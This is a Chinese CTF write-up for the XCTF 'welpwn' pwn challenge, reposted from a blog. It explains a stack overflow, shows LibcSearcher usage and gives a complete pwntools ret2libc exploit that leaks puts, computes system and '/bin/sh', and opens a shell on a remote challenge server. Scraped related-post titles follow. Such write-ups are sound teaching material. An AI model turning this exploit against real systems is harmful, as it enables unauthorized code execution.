攻防世界welpwn

(搬运一篇自己在CSDN写的帖子)

链接:https://blog.csdn.net/weixin_44644249/article/details/113781356

这题主要是考无Libc泄露地址和栈空间控制,在没有Libc的情况下,可以使用LibcSearcher进行动态匹配,匹配完成后会给出选项,选择libc的版本即可。如果不知道版本可以一个个试。

安装LibcSearcher

git clone https://github.com/lieanu/LibcSearcher.git

文件有点大,100多Mb

配置LibcSearcher,可以直接install,会自动build
cd LibcSearcher
python setup.py install

基本使用方法

from LibcSearcher import *
io = process('xxxxx')
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
......一系列操作,将got地址泄露出来......
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
puts_got_addr = io.recv()# 接收函数的got地址,比如我这里拿到puts的地址
libc = LibcSearcher('puts',puts_got_addr)
libc_base = puts_got_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
........
继续构造payload,最终调用system

注意: 如果出现“No Moudule Name LibcSearcher”,将py文件复制到LibcSearcher根目录下,或是将LibcSearcher整个文件夹复制一份到py文件所在的文件夹下。

查看保护

IDA分析

主函数:



echo函数:

解题思路:

  • 主函数打印欢迎信息,读取了1024到缓冲区。调用echo函数
  • echo函数先将1024字节信息复制了一份到s2里面,但是s2只有16字节大小,这里就有溢出。
  • 只要在输入的时候大于16+8,就会覆盖到ret地址。
  • 通过调试可以发现s2的缓冲区刚好在buf的上面,中间只有一些返回地址
  • 也就是说,在覆盖地址后,还需要构造24字节的pop清栈,就是pop 3次,才能返回到我们想去的地址。

EXPLOIT

from pwn import *
from LibcSearcher import * s = remote('111.200.241.244','44577')
#s = process("./welpwn")
elf = ELF("./welpwn")
context.log_level = 'debug' # PPPR,清理栈空间
pop_3 = 0x000000000040089e # pop r13 ; pop r14 ; pop r15 ; ret
pop_rdi = 0x00000000004008a3 # pop rdi ; ret
pop_rsi = 0x00000000004008a1 # pop rsi ; pop r15 ; ret
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_func = elf.symbols['main'] padding = b'a'*24 def leak():
s.recvuntil('RCTF\n')
#这里加两次padding是通过调试发现的,因为会调用两次PPPR
payload = padding + p64(pop_3)+ padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_func)
s.send(payload)
s.recvuntil('RCTF\n')
junk = s.recv(27) #通过debug信息得知有27字节的垃圾信息,才是puts的地址
print('junk == %s'%junk)
puts_addr = u64(s.recv(6)+b'\x00\x00')# 对地址进行处理,组合成8字节进行解析
return puts_addr puts_addr = leak()
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts') #得出libc的基址
system = libc_base + libc.dump('system') #找到system的地址
binsh = libc_base + libc.dump('str_bin_sh') #找到binsh字符串的地址 print('libc == %s'%hex(libc_base))
print('system == %s'%hex(system))
print('binsh == %s'%hex(binsh)) def overflow():
# 加了两次padding,原理同上
payload = padding + p64(pop_3) + padding + p64(pop_rdi)+p64(binsh)+p64(system)
s.send(payload) overflow()
s.interactive()

运行结果

这里我选的是第三个libc才成功

总结

尝试过DynELF的方式,但是无论怎样都获取不到地址,观察发现发送的数据中原来puts的地址,被改成了ELF文件头信息,所以获取到的地址是错误的,个人感觉LibcSearcher更好用。

pwn篇:攻防世界进阶welpwn,LibcSearcher使用的更多相关文章

  1. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  2. dice_game攻防世界进阶区

    dice_game XCTF 4th-QCTF-2018 前言,不得不说,虽然是个简单题但是还是要记录一下,来让自己记住这些东西. 考察的知识点是: 1.cdll_loadlibrary加载对应库使得 ...

  3. 攻防世界-进阶-[re1-100]

    一.收集程序信息 64位的ELF文件,没有壳 二.放入IDA 使用64位IDA打开文件,先进行静态分析查看伪代码,进入main函数 通过这段可以得知输入的内容存储到了input中(这里我将bufwri ...

  4. 攻防世界进阶区MISC ——56-60

    56.low 得到一张bmp,世纪之吻,扔进kali中,binwalk,zsteg,无果,再放进stegsolve中,虽然发现小的数据块,但是过滤通道得不到任何信息,猜测是要用脚本进行 # lsb隐写 ...

  5. 进阶区forgotg攻防世界

    攻防世界进阶区--forgot 前言,这题中看不中用啊宝友!!! 1.查看保护 第一反应就是蛮简单的,32位. 2.获取信息(先运行程序看看) 装的可以,蛮多的东西. 但是就是中看不中用 3.ida ...

  6. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  7. 【攻防世界】高手进阶 pwn200 WP

    题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...

  8. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

  9. 攻防世界_MISC进阶区_Get-the-key.txt(详细)

    攻防世界MISC进阶之Get-the-key.txt 啥话也不说,咱们直接看题吧! 首先下载附件看到一个压缩包: 我们直接解压,看到一个文件,也没有后缀名,先用 file 看一下文件属性: 发现是是L ...

随机推荐

  1. LightOJ - 1151 Snakes and Ladders(概率dp+高斯消元)

    有100个格子,从1开始走,每次抛骰子走1~6,若抛出的点数导致走出了100以外,则重新抛一次.有n个格子会单向传送到其他格子,G[i]表示从i传送到G[i].1和100不会有传送,一个格子也不会有两 ...

  2. 【noi 2.6_2989】糖果(DP)

    题意:求取到总和为K的倍数的糖果的最大值. 解法:用模K的余数作为一个维度,f[i][j]表示在前i种糖果中取到总颗数模K余j的最大总颗数. 注意--f[i-1][j]要正常转移,而其他要之前的状态存 ...

  3. Codeforces Round #658 (Div. 2) C2. Prefix Flip (Hard Version) (构造)

    题意:给你两个长度为\(n\)的01串\(s\)和\(t\),可以选择\(s\)的前几位,取反然后反转,保证\(s\)总能通过不超过\(2n\)的操作得到\(t\),输出变换总数,和每次变换的位置. ...

  4. LeetCode刷题笔记 - 12. 整数转罗马数字

    学好算法很重要,然后要学好算法,大量的练习是必不可少的,LeetCode是我经常去的一个刷题网站,上面的题目非常详细,各个标签的题目都有,可以整体练习,本公众号后续会带大家做一做上面的算法题. 官方链 ...

  5. [Golang]-6 超时处理、非阻塞通道操作、通道的关闭和遍历

    目录 超时处理 非阻塞通道操作 通道的关闭 通道遍历 超时处理 超时 对于一个连接外部资源,或者其它一些需要花费执行时间的操作的程序而言是很重要的. 得益于通道和 select,在 Go中实现超时操作 ...

  6. Docker项目demo

     Docker数据持久化 4.1 Volume (1)创建mysql数据库的container (2)查看volume (3)具体查看该volume docker volume inspect 485 ...

  7. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

  8. 九种姿势运行Mimikatz

    https://www.freebuf.com/articles/web/176796.html

  9. Python+OpenCV+图片旋转并用原底色填充新四角

    import cv2 from math import fabs, sin, cos, radians import numpy as np from scipy.stats import mode ...

  10. HBuilderX All In One

    HBuilderX All In One uni-app https://uniapp.dcloud.io/quickstart-hx 目录结构 一个uni-app工程,默认包含如下目录及文件: $ ...